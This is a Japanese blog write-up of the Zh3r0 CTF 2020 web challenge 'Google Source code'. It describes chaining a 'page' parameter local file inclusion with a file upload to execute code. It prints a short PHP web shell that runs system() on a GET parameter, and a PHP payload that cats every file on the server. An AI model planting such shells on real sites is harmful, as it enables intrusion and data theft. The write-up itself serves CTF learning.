はまやんはまやんはまやん

hamayanhamayan's blog

Google Source code [Zh3r0 CTF 2020]

Google Source code

Chall Link : http://web.zh3r0.ml:7777/
you dont get anything free except the source code. Try to search it and also I never liked to upload my homework in google classroom. Help me hack this website please :)
ソースコード以外は無料では手に入りません。それを検索してみて、また、私は私の宿題をgoogle教室でアップロードするのが好きではありませんでした。私はこのウェブサイトをハックしてください助けてください :)
Author : Finch

Google Classroomってほんとにあるんや。
と思って、YOUR WORKを押すといつものアレに飛ぶ。
とりあえずソースコードを見てみよう。

  • /index.cssがリンク切れしてる(エラーコードにはnginxとある)
  • <!-- get the 'page' :eyes: -->というコメントがある
    • /page, /page.php, /page.htmlどれも404

うーん。HTTPレスポンス見てみるか。

  • X-Powered-By: PHP/7.4.5
  • X-XSS-Protection: 1; mode=block

あ!GETでpageパラメタか!
/?pageを見ると、真っ白の画面が出てくる。
あってるっぽい。

探し回って/?page=flagを試してみるとむっちゃ笑われる。

f:id:hamayanhamayan:20200619224754p:plain

だが、ソースコードyoutubeのURLが載っている。

<img src='https://media.giphy.com/media/p0RDMJGgMXF96/giphy.gif' />
<!-- https://www.youtube.com/watch?v=0ZfZj2bn_xg -->

ヒントっぽい。/?page=uploadに行ってみよう。
ファイルがアップロードできるサイトになった。
適当にアップロードすると、/progress.phpにPOSTして、
The file 64a92ac5ea37133613190084709878d8d35697de.jpg has been uploaded.みたいに出てくる。
ファイル名が表示されるのね。怪しい。
うーん?

解説を見た

あーあーあー

LFI

pageを指定して開いているが、LFIを使ってそうな感じがする。
しかもアップロードができるので、アップロードしたファイルを呼び出すのではと…
うむ。

webshellを試す。
以下をevilman.phpと保存して、?page=evilman&cmd=lsをしてみる。

<?php
system($_GET["cmd"]);
?>

色々出てくる。
webshellが動いている。

ほーん。なかなか複雑な構造になっている。
フラグをfindする。

<?php
system('find . -type f -exec cat {} +');
?>

なるほど。